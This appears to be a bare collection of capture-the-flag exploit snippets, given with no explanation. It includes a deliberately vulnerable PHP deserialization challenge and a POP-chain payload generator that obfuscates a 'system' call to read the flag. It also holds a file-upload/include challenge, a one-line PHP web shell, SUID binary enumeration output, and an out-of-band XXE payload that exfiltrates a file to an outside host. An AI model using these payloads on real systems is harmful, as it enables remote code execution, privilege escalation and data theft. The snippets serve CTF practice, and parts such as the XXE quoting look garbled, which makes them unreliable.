1
<?php
2
?php
3
highlight_file('index.php');
4

5
Class Start
6
{
7
    public $ishero;
8
    public $adventure;
9

10

11
    public function __wakeup(){
12

13
        if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
14
            echo "<br>勇者啊，去寻找利刃吧<br>";
15

16
            return $this->adventure->sword;
17
        }
18
        else{
19
            echo "前方的区域以后再来探索吧！<br>";
20
        }
21
    }
22
}
23

24
class Sword
25
{
26
    public $test1;
27
    public $test2;
28
    public $go;
29

30
    public function __get($name)
31
    {
32
        if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
33
            echo "沉睡的利刃被你唤醒了，是时候去讨伐魔王了！<br>";
34
            echo $this->go;
35
        } else {
36
            echo "Dead";
37
        }
38
    }
39
}
40
class Mon3tr
41
{
42
    private $result;
43
    public $end;
44

45
    public function __toString()
46
    {
47
        $result = new Treasure();
48
        echo "到此为止了！魔王<br>";
49
        if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
50
            $result->end($this->end);
51
        } else {
52
            echo "难道……要输了吗？<br>";
53
        }
54
        return "<br>";
55
    }
56
}
57
class Treasure
58
{
59
    public function __call($name, $arg)
60
    {
61
        echo "结束了？<br>";
62
        eval($arg[0]);
63
    }
64
}
65

66
if (isset($_POST["HERO"])) {
67
    unserialize($_POST["HERO"]);
68
}

1
<?php
2

3
class Start {
4
    public $ishero;
5
    public $adventure;
6
}
7

8
class Sword {
9
    public $test1;
10
    public $test2;
11
    public $go;
12
}
13

14
class Mon3tr {
15
    private $result;
16
    public $end;
17
}
18

19
$o = new Start();
20
$o->ishero = "hero1";
21
$o->adventure = new Sword();
22
$o->adventure->test1 = [1];
23
$o->adventure->test2 = [2];
24
$o->adventure->go = new Mon3tr();
25
$o->adventure->go->end = "eval(\"\\\$x='sy'.'stem';\\\$x('c'.'at /fla*');\");";
26

27
echo serialize($o);

1
<?php
2
error_reporting(0);
3

4
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
5
$allowed_mime_types = [
6
    'application/zip',
7
    'application/x-bzip2',
8
    'application/gzip',
9
    'application/x-gzip',
10
    'application/x-xz',
11
    'application/x-7z-compressed',
12
];
13

14

15
function filter($tempfile)
16
{
17
    $data = file_get_contents($tempfile);
18
    if (
19
        stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
20
        stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
21
    ) {
22
        return true;
23
    }
24
    return false;
25
}
26

27
if ($_SERVER["REQUEST_METHOD"] == 'POST') {
28
    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
29
        if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
30
            die("Nope :<");
31
        }
32

33
        // mimetype check
34
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
35
        $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
36
        finfo_close($finfo);
37

38
        if (!in_array($mime_type, $allowed_mime_types)) {
39
            die('unexpected mimetype');
40
        }
41

42
        // ext check
43
        $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));
44

45
        if (!in_array($ext, $allowed_extensions)) {
46
            die('unexpected extension');
47
        }
48

49
        if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) {
50
            echo "File upload success!Please include with 'url'";
51
        }else{
52
            echo "fail";
53
        }
54
    }
55
}
56

57
if (isset($_GET['url'])) {
58

59
$include_url = basename($_GET['url']);
60

61

62
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
63
    die("unexpected extension");
64
}
65

66
include '/tmp/' . $include_url;
67
exit;
68
}
69
?>
70
<form enctype='multipart/form-data' method='post'>
71
    <input type='file' name='file'>
72
    <input type="submit" value="upload"></p>
73
</form>

1
<script language="php">
2
system($_GET['c']);
3
</script>

1
-rwsr-xr-x    1 root     root         36560 May 19  2018 /bin/su
2
48 -rwsr-xr-x    1 root     root         47376 May 19  2018 /usr/bin/passwd
3
56 -rwsr-xr-x    1 root     root         55200 May 19  2018 /usr/bin/gpasswd
4
56 -rwsr-xr-x    1 root     root         55408 May 19  2018 /usr/bin/chage
5
44 -rwsr-xr-x    1 root     root         41848 May 19  2018 /usr/bin/chfn
6
116 -rwsr-xr-x    1 root     root        116024 Feb  5  2020 /usr/bin/sudo
7
20 -rwsr-xr-x    1 root     root         18608 May 19  2018 /usr/bin/expiry
8
32 -rwsr-xr-x    1 root     root         32256 May 19  2018 /usr/bin/chsh
9
32 -rwsr-xr-x    1 root     root         32088 May 19  2018 /usr/bin/newgrp

1
<!ENTITY %ddk SYSTEM 'php://filter/read=convert.base64.encode/resource='/f1111llllaa44g'>
2
<!ENTITY %vps '<!ENTITY &#37;ppk SYSTEM 'http://asdasdadadadd:2333/&ddk'>'>
3
%ppk;
4
%vps;